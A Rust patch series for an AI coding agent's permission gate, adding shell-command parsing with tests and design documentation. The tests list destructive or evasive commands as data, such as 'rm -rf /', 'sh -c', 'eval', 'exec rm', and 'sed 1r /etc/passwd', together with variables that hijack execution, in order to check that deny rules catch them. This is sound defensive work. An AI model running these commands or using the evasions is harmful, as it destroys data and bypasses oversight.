temp_env::with_var(HOME_VAR, Some(abs("/home/u")), || { + let expanded = PathBuf::from(abs("/home/u")).join("x"); + assert_eq!( + words(r#"cat ~/x "~/y" a~b"#), + [ + "cat".to_owned(), + expanded.to_string_lossy().into_owned(), + "~/y".to_owned(), + "a~b".to_owned() + ] + ); + assert_eq!(words("cat ~u/x"), ["cat", "~u/x"], "kept as written"); + }); + } + + // ── CommandTarget::parse: wrappers ── + + #[test] + fn parse_strips_transparent_wrappers_and_their_options() { + for command in [ + "env -i -u HOME FOO=1 rm -rf x", + "env --chdir=/tmp rm -rf x", + "nice -n 5 rm -rf x", + "nice -10 rm -rf x", + "nice -n5 rm -rf x", + "nohup rm -rf x", + "time -p rm -rf x", + "timeout -s KILL --preserve-status 5m rm -rf x", + "/usr/bin/nice nohup -- timeout 5 rm -rf x", + ] { + let command = parse(command); + assert_eq!(command.segments[0].text, "rm -rf x", "{command:?}"); + assert!(!command.is_opaque(), "{command:?}"); + } + } + + #[test] + fn parse_keeps_a_wrapper_that_runs_no_command_and_turns_an_unknown_option_opaque() { + assert_eq!(texts("env FOO=1"), ["env FOO=1"]); + assert!(!parse("nice").is_opaque()); + for command in [ + "env -S 'rm -rf x'", + "nice --weird rm", + "nice $LEVEL rm", + "timeout --what 5 rm", + ] { + assert!(parse(command).is_opaque(), "{command:?}"); + } + } + + // ── CommandTarget::parse: opaque ── + + #[test] + fn parse_flags_every_command_it_cannot_see_into_as_opaque() { + for command in [ + "echo $(date)", + "echo `whoami`", + "diff <(ls a) b", + "tee >(cat) x", + "x=$(id) ls", + "cat < passwd", + ] { + assert!(parse(command).is_opaque(), "{command:?}"); + } + for command in [ + "cat <<'EOF'\n$(id)\nEOF", + "echo '$(id)'", + "cd x && echo > /dev/null", + "ls $HOME", + ] { + assert!(!parse(command).is_opaque(), "{command:?}"); + } + } + + #[test] + fn parse_collects_commands_inside_substitutions_and_literal_scripts() { + for command in [ + "echo $(rm -rf /)", + "sh -c 'rm -rf /'", + "bash -lc \"rm -rf /\"", + "eval rm -rf /", + ] { + assert!( + texts(command).contains(&"rm -rf /".to_owned()), + "{command:?}: {:?}", + texts(command) + ); + } + } + + // ── Walk::redirect ── + + #[test] + fn redirect_counts_each_file_an_output_redirection_writes() { + let (_dir, cwd) = temp_cwd(); + assert_eq!( + writes("echo a > out.txt 2>> log &> all >| clobber >& both", &cwd), + ["out.txt", "log", "all", "clobber", "both"] + ); + let outside = abs("/etc/hosts"); + assert_eq!( + writes(&format!("echo a > {outside}"), &cwd), + [PathBuf::from(&outside).to_string_lossy()] + ); + } + + #[test] + fn redirect_skips_inputs_descriptors_and_devices() { + let (_dir, cwd) = temp_cwd(); + for command in [ + "cat < in.txt", + "cat <<< x", + "make 2>&1", + "make 3>&-", + "make > /dev/null 2> /dev/stderr", + ] { + assert!(writes(command, &cwd).is_empty(), "{command:?}"); + assert!( + !CommandTarget::parse(command, &cwd).is_opaque(), + "{command:?}" + ); + } + } + + #[test] + fn redirect_to_a_target_it_cannot_place_is_opaque() { + for command in ["echo > \"$OUT\"", "echo > *.txt", "echo >&2 hi"] { + assert!(parse(command).is_opaque(), "{command:?}"); + } + } + + // ── safe_operands ── + + #[test] + fn safe_operands_names_every_word_that_may_be_a_file() { + let command = + CommandTarget::parse("grep -fpats --file=more -e x -- -y src", Path::new("/repo")); + let reads: Vec = command.segments[0] + .safe_reads + .clone() + .unwrap() + .into_iter() + .map(|read| match read { + GateTarget::Path { requested, .. } => requested, + other => panic!("a read is a path target, got {other:?}"), + }) + .collect(); + let at = |name: &str| Path::new("/repo").join(name).to_string_lossy().into_owned(); + assert_eq!( + reads, + [at("pats"), at("more"), at("x"), at("-y"), at("src")] + ); + assert_eq!( + parse("echo $HOME *").segments[0].safe_reads, + Some(Vec::new()) + ); + } + + #[test] + fn safe_operands_admits_only_shipped_commands_with_literal_arguments() { + for command in [ + "cat a.rs", + "head -n 5 a", + "ls -la src", + "wc -l a", + "pwd", + "true", + ] { + assert!(is_safe(command), "{command:?}"); + } + for command in [ + "cat *.rs", + "cat $F", + "cat {a,b}", + "rm a", + "./cat a", + "git status", + ] { + assert!(!is_safe(command), "{command:?}"); + } + } + + #[test] + fn safe_operands_guards_find_and_grep() { + assert!(is_safe("find . -name '*.rs' -type f")); + for action in FIND_ACTIONS { + assert!(!is_safe(&format!("find . {action} x")), "{action}"); + } + assert!(is_safe("grep -n TODO src/main.rs")); + for command in [ + "grep -r TODO .", + "grep -Rn TODO .", + "grep --recursive TODO .", + "grep -d recurse TODO .", + "grep --directories=recurse TODO .", + ] { + assert!(!is_safe(command), "{command:?}"); + } + } + + // ── is_safe_sed ── + + #[test] + fn is_safe_sed_admits_scripts_that_only_print_or_rewrite_text() { + for command in [ + "sed -n '1,20p' a.rs", + "sed 's/foo/bar/g' a.rs", + "sed -e '/^$/d' -e 's/a\\/b/c/2' a.rs", + "sed --expression='$p' a.rs", + "sed --expression '$p' a.rs", + "sed --quiet 1p a.rs", + "sed -es/a/b/ a.rs", + "sed -ne '3p;5q' a.rs", + "sed -n -- '1!G;h;$p' a.rs", + ] { + assert!(is_safe(command), "{command:?}"); + } + } + + #[test] + fn is_safe_sed_refuses_in_place_edits_script_files_and_writing_or_running_commands() { + for command in [ + "sed -i 's/a/b/' a.rs", + "sed -ni 'p' a.rs", + "sed --in-place=.bak 's/a/b/' a.rs", + "sed -f script.sed a.rs", + "sed --file=script.sed a.rs", + "sed 's/a/b/w out' a.rs", + "sed 's/a/b/e' a.rs", + "sed -n 'w out' a.rs", + "sed '1r /etc/passwd' a.rs", + "sed 'e date' a.rs", + "sed -e", + "sed --expression", + "sed", + ] { + assert!(!is_safe(command), "{command:?}"); + } + } +} diff --git a/crates/oxide-code/src/protocol.rs b/crates/oxide-code/src/protocol.rs index 21bf0249..b6fe456a 100644 --- a/crates/oxide-code/src/protocol.rs +++ b/crates/oxide-code/src/protocol.rs @@ -332,6 +332,8 @@ impl EventSink for FailingSink { #[cfg(test)] mod tests { + use std::path::Path; + use serde_json::json; use super::*; @@ -623,7 +625,7 @@ mod tests { Policy::default() .session_grant( PermissionClass::Bash, - &GateTarget::Command("cargo test".to_owned()), + &GateTarget::for_command("cargo test", Path::new("/repo")), ) .unwrap(), )), diff --git a/crates/oxide-code/src/tool/bash.rs b/crates/oxide-code/src/tool/bash.rs index 90f92c0b..32bfd82d 100644 --- a/crates/oxide-code/src/tool/bash.rs +++ b/crates/oxide-code/src/tool/bash.rs @@ -45,9 +45,9 @@ impl Tool for BashTool { PermissionClass::Bash } - fn gate_target(&self, input: &serde_json::Value, _cwd: &Path) -> GateTarget { + fn gate_target(&self, input: &serde_json::Value, cwd: &Path) -> GateTarget { extract_input_field(input, "command") - .map(|c| GateTarget::Command(c.to_owned())) + .map(|command| GateTarget::for_command(command, cwd)) .unwrap_or_default() } @@ -446,7 +446,7 @@ mod tests { fn gate_target_extracts_the_command() { let target = BashTool.gate_target(&serde_json::json!({"command": "ls -la"}), Path::new("/")); - assert!(matches!(target, GateTarget::Command(c) if c == "ls -la")); + assert!(matches!(target, GateTarget::Command(c) if c.command() == "ls -la")); } #[test] diff --git a/crates/oxide-code/src/tui/app.rs b/crates/oxide-code/src/tui/app.rs index d396cc6d..d693a4d4 100644 --- a/crates/oxide-code/src/tui/app.rs +++ b/crates/oxide-code/src/tui/app.rs @@ -1040,6 +1040,7 @@ fn append_sentence(mut message: String, sentence: &str) -> String { #[cfg(test)] mod tests { use std::io::{self, Write}; + use std::path::Path; use std::sync::{Arc, Mutex}; use crossterm::event::{KeyCode, KeyEvent, KeyModifiers, MouseEvent, MouseEventKind}; @@ -1052,6 +1053,7 @@ mod tests { use super::*; use crate::config::compaction::test_thresholds; + use crate::permission::GateTarget; use crate::permission::rule::Rule; use crate::protocol::{Decision, ToolCall, ToolResult, UsageSnapshot}; use crate::tool::{ApprovalBody, ToolResultView}; @@ -1762,7 +1764,7 @@ mod tests { let grant = crate::permission::Policy::default() .session_grant( crate::permission::PermissionClass::Bash, - &crate::permission::GateTarget::Command("cargo test".to_owned()), + &GateTarget::for_command("cargo test", Path::new("/repo")), ) .unwrap(); app.handle_engine_event(Event::ApprovalRequested { diff --git a/crates/oxide-code/src/tui/modal/approval.rs b/crates/oxide-code/src/tui/modal/approval.rs index 3650223c..301fd8fc 100644 --- a/crates/oxide-code/src/tui/modal/approval.rs +++ b/crates/oxide-code/src/tui/modal/approval.rs @@ -587,6 +587,8 @@ fn flush(spans: &mut Vec>, plain: &mut String, style: Style) { #[cfg(test)] mod tests { + use std::path::Path; + use indoc::formatdoc; use ratatui::Terminal; use ratatui::backend::TestBackend; @@ -630,7 +632,7 @@ mod tests { /// A shown modal that offers the session rule [`Policy::session_grant`] suggests for `command`. fn granted_modal(command: &str) -> ApprovalModal { - let target = GateTarget::Command(command.to_owned()); + let target = GateTarget::for_command(command, Path::new("/repo")); let grant = Policy::default().session_grant(PermissionClass::Bash, &target); let mut modal = ApprovalModal::new( "call-1".to_owned(), diff --git a/docs/design/architecture.md b/docs/design/architecture.md index 6a75f9e3..65202056 100644 --- a/docs/design/architecture.md +++ b/docs/design/architecture.md @@ -17,7 +17,7 @@ Layers run from the foundation to the frontends. | Foundation | `util` | Shared helpers for environment variables, the filesystem, git probes, logging, paths, mutex recovery, text width, local time, and TLS | | Domain | `config` | Layered configuration with per-value provenance, credentials, gateway settings, and stored OAuth logins with browser sign-in | | Domain | `model` | Supported-model catalogue, per-model request capabilities, and pricing | -| Domain | `permission` | Tool permission gate: modes, allow / ask / deny rules, and path resolution | +| Domain | `permission` | Tool permission gate: modes, allow / ask / deny rules, path resolution, and shell-command parsing | | Domain | `prompt` | System prompt assembly, environment detection, and instruction-file discovery | | Services | `client` | The `Wire` streaming contract and the Anthropic Messages API client: request bodies and headers, a retrying transport, SSE, and one-shots | | Services | `protocol` | The serializable `Op` / `Event` contract between the engine and its frontends, its payloads, and the `EventSink` trait | diff --git a/docs/design/tools/permissions.md b/docs/design/tools/permissions.md index 72dd2a49..32fcf9d8 100644 --- a/docs/design/tools/permissions.md +++ b/docs/design/tools/permissions.md @@ -44,6 +44,29 @@ Each resolved target belongs to one zone: - **Workspace**: the target sits inside cwd, so edit-class calls allow at step 7. A cwd of `/`, `$HOME`, or any ancestor of `$HOME` is never a workspace, so launching there leaves every edit to the allow rules. An existing regular file with more than one hard link is never a workspace target either, since another link can sit outside cwd. - **Outside**: everything else, which needs an allow rule or an approval. +## Command Targets + +A `bash` call's target is its command as tree-sitter-bash parses it. `GateTarget::for_command` splits the command into simple commands across `;`, `&&`, `||`, `&`, pipes, line breaks, subshells, and compound statements. Each simple command drops its leading variable assignments and the transparent wrappers `env`, `nice`, `nohup`, `time`, and `timeout` with their options, so `RUST_LOG=debug nice -n 5 cargo test 2>&1` runs the simple command `cargo test`. Its words are unquoted, and a leading unquoted `~` or `~/` expands to the home directory. Each output redirection to a file (`>`, `>>`, `>|`, `&>`, `&>>`) becomes an edit-class path target resolved and zoned like a path tool's, except for `/dev/null` and the other standard streams. + +A command is opaque when the parse cannot show everything it runs or writes: + +- It fails to parse, or it holds a command or process substitution, an arithmetic expansion, or a `[[` or `((` test, which can evaluate a substitution inside an array subscript. +- A command name is not a literal word, as in `$CMD -rf x`. +- It runs a shell such as `sh`, `bash`, or `zsh`, or a builtin that runs code (`eval`, `source`, `.`, `trap`, `let`), so both `sh -c '...'` and `curl ... | sh` are opaque. +- A wrapper takes an option the parser does not know, such as `env -S`. +- A redirection target is not a literal path, holds a glob, or names more than one file. +- A `cd`, `pushd`, or `popd` runs alongside a redirection to a relative path, which may then land elsewhere. + +The literal script of `sh -c` and the joined arguments of `eval` are parsed as well, so a deny rule still sees the simple commands inside them. + +A few read-only commands run without an allow rule. `echo`, `false`, `pwd`, and `true` are always safe. `cat`, `head`, `ls`, `tail`, `wc`, `find`, `grep`, and `sed` are safe when every argument is a literal word without globs and the command runs by its bare name, with guards for the ones that can do more: + +- `find` without an action that runs a command, deletes, or writes a file (`-exec`, `-execdir`, `-ok`, `-okdir`, `-delete`, `-fls`, `-fprint`, `-fprint0`, `-fprintf`). +- `grep` without a recursive option. +- `sed` without `-i` or a script file, and with scripts that only print, delete, substitute, or move text between buffers. + +Every argument that may name a file, such as each word past the options and a value attached to an option, counts as a read of that path. A read that a `read` deny rule matches makes the command ask, since the arguments over-approximate the files it reads. + ## Rule Grammar Rules use Claude Code's `name(specifier)` string form, where the name identifies a permission class: `read` (the `read`, `grep`, and `glob` tools), `edit` (`edit` and `write`), or `bash`. Class names are case-insensitive. An unknown name causes a load error, so `write(...)` fails loudly. `bash`, `bash()`, and `bash(*)` all become a class-wide rule. @@ -59,7 +82,9 @@ Bash specifiers can be exact, prefix (`cargo test:*`), or wildcard (`git *`). Re - Allow rules match names exactly as written. Deny rules also compare names the way protected paths do, so `read(**/.env)` covers `.ENV`, `.env.`, and a path whose cwd prefix differs only in case. - A leading `./` is dropped. -The `bash` command string is unparsed (`bash -c "..."`), so prefix and wildcard matching provides best-effort UX. Since `ls; rm -rf` and `$()` indirection defeat naive matching, allow rules match conservatively: a compound command (chained, substituted, or redirected with `>` / `<`) never matches an allow rule. Deny rules match the whole command or any chained segment. +A `bash` specifier matches one simple command of the [command target](#command-targets). An allow rule matches a simple command as written after its assignments and wrappers are stripped, so `bash(cargo test:*)` covers `RUST_LOG=debug cargo test 2>&1`. A deny rule matches the whole command or any simple command, compared as written, unquoted, and with its command name reduced to the bare name, so `bash(rm -rf:*)` also stops `"rm" -rf x`, `/bin/rm -rf x`, and `cd src && rm -rf x`. + +A command is allowed at step 8 only when it is not opaque, each of its simple commands is allowed by a rule or is a known-safe read, and each file it writes sits in the workspace or is allowed by an `edit` rule. A write is also checked against the `edit` deny rules at steps 1 and 3 and asks at step 6 when its target is protected. An opaque command can still be denied, so `bash(rm -rf:*)` stops `rm -rf x; echo $(date)`, but no rule allows it. ## Approval Round-Trip @@ -81,7 +106,7 @@ On the TUI side, an `ApprovalModal` joins the `ModalStack` and follows the `Conf `A` allows the call and every later call a session rule covers: -- **Grant:** when the gate asks, `Policy::session_grant` derives the narrowest rule that names the call with `Rule::for_call`. That is the command as written for `bash`, or the escaped path for an edit, relative inside the launch directory and canonical outside it. The grant rides on `Event::ApprovalRequested` and is offered only if adding its rule would let the call through, so a protected path or a compound command offers none. A command containing `*`, which would parse as a wildcard, and a call with a character the editor cannot show as itself offer none either, so the user always sees the exact rule they grant. +- **Grant:** when the gate asks, `Policy::session_grant` derives the narrowest rule that names the call with `Rule::for_call`. That is the command as written for `bash`, or the escaped path for an edit, relative inside the launch directory and canonical outside it. The grant rides on `Event::ApprovalRequested` and is offered only if adding its rule would let the call through, so a protected path, an opaque command, or one that runs more than one simple command offers none. For a single simple command, the rule names it without its assignments, wrappers, and redirections, so `RUST_LOG=debug cargo test 2>&1` offers `bash(cargo test)`. A command containing `*`, which would parse as a wildcard, and a call with a character the editor cannot show as itself offer none either, so the user always sees the exact rule they grant. - **Editor:** `A` opens a one-line editor prefilled with the rule, where the user can widen or narrow it, such as `bash(cargo test:*)`. Enter checks the edit with `SessionGrant::accept`, which keeps the class and requires the rule to still cover the call, and shows the reason inline when it does not. Esc returns to the choice through `Modal::captures_esc`, while Ctrl+C still aborts. - **Engine check:** the accepted rule answers `Decision::AllowForSession`. A frontend's check is advisory, so the gate keeps its own grant for the pending call, admits the answered rule against it with `SessionGrant::admit`, and denies the call with an error when the rule fails. - **Precedence and lifetime:** an admitted rule joins the engine's policy, where step 8 weighs it like a configured allow rule, so deny rules and protected paths still take precedence. The list lives only in the engine's memory and empties on `/clear`, `/archive`, and a successful `/resume`. `Event::SessionRulesUpdated` carries it to the frontend, and `/status` lists it under Session Rules. @@ -108,7 +133,7 @@ A checked-in `.ox/config.toml` is untrusted, like the project credentials `rejec The `--no-tui` REPL and `-p` headless runs share `render_turn`, which hands each `Event::ApprovalRequested` to an `Approver` and sends its decision back as `Op::Resolve`. The request itself never reaches the event sink, so the `stream-json` output carries only the call's result. - **REPL:** when stdin is a terminal, the prompter writes the preview to stderr, escaping hidden characters, and reads the answer from the next stdin line: `y`, `a` with the rule to allow, `n`, `f` with the feedback line, or `x` to abort. An unknown answer, empty feedback, or a rule the grant does not admit returns to the choices, and the end of input aborts. Piped input answers as a headless run does, so a scripted prompt line is never read as an answer. -- **Headless:** with no one to ask, the deny rules, zones, and allow rules settle every call, so a headless run assumes an already-trusted invocation. `Unattended` denies a would-ask call with feedback that names the rule to add to the `allow` list, quoted as a TOML string from the call's grant. A call that offers no grant, such as a protected path, a compound command, or a command containing `*`, is denied with feedback saying that no allow rule names it exactly, since a broader rule may still cover it. +- **Headless:** with no one to ask, the deny rules, zones, and allow rules settle every call, so a headless run assumes an already-trusted invocation. `Unattended` denies a would-ask call with feedback that names the rule to add to the `allow` list, quoted as a TOML string from the call's grant. A call that offers no grant, such as a protected path, a command that runs more than one simple command, or a command containing `*`, is denied with feedback saying that no allow rule names it exactly, since a broader rule may still cover it. The stdio sink escapes control characters other than tabs and line breaks in model and tool text, so streamed text or a tool label cannot redraw the terminal to disguise the REPL's preview. @@ -146,8 +171,9 @@ The stdio sink escapes control characters other than tabs and line breaks in mod - `crates/oxide-code/src/driver/stdio.rs`: `render_turn`, the `Approver` trait, `Unattended`, the escaped `StdioSink` output. - `crates/oxide-code/src/util/text.rs`: `is_hidden` and `escape_controls`, shared by both frontends. - `crates/oxide-code/src/engine.rs`: the live policy, whose session allow rules reset when the session changes. -- `crates/oxide-code/src/permission.rs`: `Mode`, `PermissionClass`, `GateTarget::for_path`, protected paths, `Policy::decide`, `Policy::session_grant`, `SessionGrant`, `ReadDeny`. -- `crates/oxide-code/src/permission/rule.rs`: `class(specifier)` parsing, path-glob matching, and `Rule::for_call`. +- `crates/oxide-code/src/permission.rs`: `Mode`, `PermissionClass`, `GateTarget::for_path`, `GateTarget::for_command`, protected paths, `Policy::decide`, `Policy::session_grant`, `SessionGrant`, `ReadDeny`. +- `crates/oxide-code/src/permission/rule.rs`: `class(specifier)` parsing, path-glob matching, segment matching for `bash`, and `Rule::for_call`. +- `crates/oxide-code/src/permission/shell.rs`: `CommandTarget::parse`, wrapper stripping, opaque forms, redirection writes, and the known-safe commands. - `crates/oxide-code/src/protocol.rs`: `Event::ApprovalRequested`, `Event::SessionRulesUpdated`, `Op::Resolve`, `Decision`. - `crates/oxide-code/src/slash/confirm.rs`: `ConfirmDeleteSessionModal`, the approval-modal template. - `crates/oxide-code/src/slash/status.rs`: the Session Rules listing. diff --git a/docs/guide/configuration.md b/docs/guide/configuration.md index a4dec699..11f319b3 100644 --- a/docs/guide/configuration.md +++ b/docs/guide/configuration.md @@ -214,7 +214,7 @@ deny = ["read(**/.env)", "bash(git push:*)"] Rules follow the format `class(specifier)`. The class is `read` (read, grep, and glob tools), `edit` (edit and write), or `bash`, and a bare class name or `class(*)` matches every call in that class. -- **`bash`** specifiers match commands exactly (`bash(git status)`), by prefix (`bash(cargo test:*)`), or by wildcard (`bash(git *)`). Allow rules never match a command containing `;`, `|`, `&`, a newline, `>`, `<`, `$(`, or a backtick, while deny rules match the full command or any part between `;`, `|`, `&`, or newlines. +- **`bash`** specifiers match commands exactly (`bash(git status)`), by prefix (`bash(cargo test:*)`), or by wildcard (`bash(git *)`). Each specifier matches one simple command after leading `VAR=value` assignments, wrappers such as `env`, `nice`, and `timeout`, and redirections are set aside, so `bash(cargo test:*)` covers `RUST_LOG=debug cargo test 2>&1`. A command chained with `;`, `&&`, `||`, or `|` is allowed only when every part is, and writing a file with `>` also needs that file to be inside the working directory or allowed by an `edit` rule. A deny rule matches when any part matches, including a quoted or full-path command name such as `/bin/rm`. A command that hides what it runs, such as `$(...)`, `eval`, or `sh -c`, is never allowed by a rule, so it asks unless a deny rule matches. Read-only commands such as `ls`, `cat`, `grep`, `find` without `-exec` or `-delete`, and `sed` without `-i` run without asking. - **`read` and `edit`** specifiers are path globs where `*` and `?` match within one path segment and `**` spans segments. A relative glob matches paths inside the working directory, so `edit(*.json)` covers `package.json` but not `src/a.json`. A glob starting with `/` or `~/` matches the absolute path after symlinks resolve. - **Deny and allow** match paths differently. An allow rule matches only the resolved path, with exact case and spelling. A deny rule also matches the path as the call writes it and, when the rule's literal leading directories run through a symlink at startup, the location they resolve to. It treats names that differ only in case, Unicode normalization, invisible characters, or trailing dots as the same name, so `read(**/.env)` also blocks `.ENV`. A `read` deny rule also hides the files it matches from a `grep` or `glob` over their directory, and the output counts the hidden files without naming them. diff --git a/docs/guide/quickstart.md b/docs/guide/quickstart.md index a91ff6e9..db439136 100644 --- a/docs/guide/quickstart.md +++ b/docs/guide/quickstart.md @@ -33,7 +33,7 @@ This opens an interactive terminal session. Type a task and press Enter: The assistant reads files, runs commands, and edits code using its built-in tools until it produces a final answer. -In the default `auto` permission mode, reads and searches run without asking, as do file edits inside the working directory. A `bash` command or a file change outside the working directory opens an approval prompt unless a rule settles it first. An edit to protected config such as `.vscode` or `.envrc` opens one even when an allow rule matches, and edits under the project's own `.git` are denied. In the prompt, press **Y** to approve, **N** to deny, **F** to deny with a note the model reads, or **Esc** to deny and end the turn. Enter does nothing, so a keystroke meant for the input box cannot approve a call. When a rule can name the call, press **A** to also allow similar calls for the rest of the session: the prompt shows the rule it will add, which you can edit, for example to `bash(cargo test:*)`, before pressing **Enter**. Session rules last until you exit or start another session, and `/status` lists them. +In the default `auto` permission mode, reads and searches run without asking, as do file edits inside the working directory. A `bash` command or a file change outside the working directory opens an approval prompt unless a rule settles it first, while read-only commands such as `ls`, `cat`, and `grep` run without one. An edit to protected config such as `.vscode` or `.envrc` opens one even when an allow rule matches, and edits under the project's own `.git` are denied. In the prompt, press **Y** to approve, **N** to deny, **F** to deny with a note the model reads, or **Esc** to deny and end the turn. Enter does nothing, so a keystroke meant for the input box cannot approve a call. When a rule can name the call, press **A** to also allow similar calls for the rest of the session: the prompt shows the rule it will add, which you can edit, for example to `bash(cargo test:*)`, before pressing **Enter**. Session rules last until you exit or start another session, and `/status` lists them. ## What it can do From 20a3066d1b655a242c58d29dac812e26c10b388b Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 16 Oct 2026 15:12:41 +0800 Subject: [PATCH 2/3] fix(permission): close shell analysis gaps found in review `exec`, `command`, and `builtin` ran the rest of their words unseen, so `exec rm -rf /` escaped deny rules and `exec sh -c` escaped the opaque check. They are now transparent wrappers. `env -C` counts as a directory change, and a cd now also guards relative known-safe reads. A leading assignment drops out of the rule text only for variables that change output alone. Others, like PATH, LD_PRELOAD, or GIT_PAGER, stay in the text and rule out the known-safe set. Assigning a variable the shell reads, or exporting one outside that list, makes the command opaque. sed and grep guards accept GNU long-option abbreviations and BSD `sed -I`, and sed reads count only the files past the script. --- .cspell/words.txt | 7 + crates/oxide-code/src/permission.rs | 10 +- crates/oxide-code/src/permission/rule.rs | 18 +- crates/oxide-code/src/permission/shell.rs | 385 ++++++++++++++++++---- docs/design/tools/permissions.md | 13 +- docs/guide/configuration.md | 2 +- 6 files changed, 353 insertions(+), 82 deletions(-) diff --git a/.cspell/words.txt b/.cspell/words.txt index ef4ca77d..85e3455d 100644 --- a/.cspell/words.txt +++ b/.cspell/words.txt @@ -11,6 +11,7 @@ atuin cachain cachix catppuccin +CDPATH chdir claudemd Clawd @@ -20,6 +21,7 @@ codex CREAT creds crossterm +CTYPE DECRC DECSC dedupe @@ -46,6 +48,8 @@ frappe getpwuid Ghostty gitui +GOARCH +GOEXPERIMENT hakula idna impls @@ -58,6 +62,7 @@ killpg Kobalte Konsole latte +LSCOLORS macchiato misparse misparses @@ -83,6 +88,7 @@ noprefix nucleo numtide okdir +OLDPWD oxalica onig pgid @@ -94,6 +100,7 @@ println Ptmux pulldown pushd +PYTHONDONTWRITEBYTECODE RAII ratatui rects diff --git a/crates/oxide-code/src/permission.rs b/crates/oxide-code/src/permission.rs index efe40d21..8e0f7abb 100644 --- a/crates/oxide-code/src/permission.rs +++ b/crates/oxide-code/src/permission.rs @@ -1948,6 +1948,7 @@ mod tests { for (case, expected) in [ ("cargo test && cat Cargo.toml | wc -l", Decision::Allow), ("RUST_LOG=debug nice -n 5 cargo test --all", Decision::Allow), + ("CARGO_TARGET_DIR=/tmp cargo test", Decision::Ask), ("cargo test && rm -rf target", Decision::Ask), ("git status", Decision::Ask), ("FOO=1", Decision::Ask), @@ -1971,7 +1972,13 @@ mod tests { p.decide(PermissionClass::Bash, &command("eval ls").as_target()), Decision::Ask ); - for case in ["echo $(rm -rf /)", "sh -c 'rm -rf /'", "\"/bin/rm\" -rf /"] { + for case in [ + "echo $(rm -rf /)", + "sh -c 'rm -rf /'", + "\"/bin/rm\" -rf /", + "exec rm -rf /", + "command rm -rf /", + ] { assert_eq!( p.decide(PermissionClass::Bash, &command(case).as_target()), Decision::Deny, @@ -1995,6 +2002,7 @@ mod tests { }; assert_eq!(decide("echo hi > out.txt 2>&1"), Decision::Allow); assert_eq!(decide("echo hi > .envrc"), Decision::Ask); + assert_eq!(decide("env -C /etc echo hi > hosts"), Decision::Ask); assert_eq!(decide(&format!("echo hi >> {outside}")), Decision::Ask); assert_eq!(decide("echo hi > secret.txt"), Decision::Deny); assert_eq!(decide("echo hi > .git/hooks/pre-commit"), Decision::Deny); diff --git a/crates/oxide-code/src/permission/rule.rs b/crates/oxide-code/src/permission/rule.rs index c3db19ee..736230c8 100644 --- a/crates/oxide-code/src/permission/rule.rs +++ b/crates/oxide-code/src/permission/rule.rs @@ -3,12 +3,12 @@ //! The form mirrors Claude Code's for transferable muscle memory. A rule names a //! [`PermissionClass`] (`read`, `edit`, or `bash`, case-insensitive) and an optional specifier. //! `bash` specifiers match each simple command [`CommandTarget`] parses out of a command, in exact, -//! prefix (`cargo test:*`), or wildcard (`git *`) shapes. `read` and `edit` specifiers are path globs where `*` and `?` stay within one -//! path segment and `**` spans segments. A relative glob matches the cwd-relative path of a target -//! inside the working directory, and an absolute or `~/` glob matches the resolved absolute path. A -//! deny rule also matches the path as the call spells it and where the rule's literal prefix -//! resolved when the policy loaded ([`Rule::resolved_prefix`]), comparing names by [`fold_name`]. A -//! bare class name, `class()`, or `class(*)` covers the whole class. +//! prefix (`cargo test:*`), or wildcard (`git *`) shapes. `read` and `edit` specifiers are path +//! globs where `*` and `?` stay within one path segment and `**` spans segments. A relative glob +//! matches the cwd-relative path of a target inside the working directory, and an absolute or `~/` +//! glob matches the resolved absolute path. A deny rule also matches the path as the call spells it +//! and where the rule's literal prefix resolved when the policy loaded ([`Rule::resolved_prefix`]), +//! comparing names by [`fold_name`]. A rule with no specifier, `()`, or `(*)` covers the class. //! //! Matching a `bash` command narrows the ways a rule can be fooled, but it is not a security //! boundary (see `docs/design/tools/permissions.md`). The asymmetry is deliberate: an allow rule @@ -72,9 +72,9 @@ enum BashSpec { Wildcard(Regex), } -/// Which rule set a match is being evaluated for, selecting how `bash` commands, symlinked paths, and -/// name spellings match. Allow widens, so it matches conservatively. Deny revokes, so it matches -/// aggressively. This keeps the security-critical asymmetry legible at the call sites in +/// Which rule set a match is being evaluated for, selecting how `bash` commands, symlinked paths, +/// and name spellings match. Allow widens, so it matches conservatively. Deny revokes, so it +/// matches aggressively. This keeps the security-critical asymmetry legible at the call sites in /// [`crate::permission::Policy::decide`]. #[derive(Debug, Clone, Copy, PartialEq, Eq)] pub(super) enum MatchDiscipline { diff --git a/crates/oxide-code/src/permission/shell.rs b/crates/oxide-code/src/permission/shell.rs index d9a3f303..9e00c340 100644 --- a/crates/oxide-code/src/permission/shell.rs +++ b/crates/oxide-code/src/permission/shell.rs @@ -27,14 +27,85 @@ const CODE_BUILTINS: &[&str] = &[".", "eval", "let", "source", "trap"]; /// names the file the gate resolved. const DIRECTORY_CHANGERS: &[&str] = &["cd", "popd", "pushd"]; +/// Variables a leading assignment may set without changing what a rule names, since none of them +/// changes which program runs, what it loads, or where it writes. +const SAFE_VARIABLES: &[&str] = &[ + "BLOCKSIZE", + "BLOCK_SIZE", + "CARGO_TERM_COLOR", + "CGO_ENABLED", + "CHARSET", + "COLORTERM", + "FORCE_COLOR", + "GCC_COLORS", + "GO111MODULE", + "GOARCH", + "GOEXPERIMENT", + "GOOS", + "GREP_COLOR", + "GREP_COLORS", + "LANG", + "LANGUAGE", + "LC_ALL", + "LC_CTYPE", + "LC_TIME", + "LSCOLORS", + "LS_COLORS", + "NODE_ENV", + "NO_COLOR", + "PYTHONDONTWRITEBYTECODE", + "PYTHONUNBUFFERED", + "RUST_BACKTRACE", + "RUST_LOG", + "TERM", + "TIME_STYLE", + "TZ", +]; + +/// Variables the shell itself reads to find programs, expand words, or run startup code, so +/// assigning one changes what later commands run. +const SHELL_VARIABLES: &[&str] = &[ + "BASHOPTS", + "BASH_ENV", + "CDPATH", + "ENV", + "EXECIGNORE", + "GLOBIGNORE", + "HOME", + "IFS", + "OLDPWD", + "PATH", + "PS4", + "PWD", + "SHELLOPTS", +]; + /// Redirection operators that write their target. const WRITE_OPERATORS: &[&str] = &[">", ">>", ">|", "&>", "&>>", ">&"]; /// Redirection targets that are devices, so writing them edits no file. const DEVICES: &[&str] = &["/dev/null", "/dev/stderr", "/dev/stdout", "/dev/tty"]; -/// Wrappers that run the command after their own options unchanged, so rules see through them. +/// Wrappers that run the command after their own options, so rules see through them. const WRAPPERS: &[Wrapper] = &[ + Wrapper { + name: "builtin", + flags: &[], + valued: &[], + directory: &[], + numeric: false, + positionals: 0, + assignments: false, + }, + Wrapper { + name: "command", + flags: &["-V", "-p", "-v"], + valued: &[], + directory: &[], + numeric: false, + positionals: 0, + assignments: false, + }, Wrapper { name: "env", flags: &[ @@ -47,14 +118,25 @@ const WRAPPERS: &[Wrapper] = &[ "--null", ], valued: &["-C", 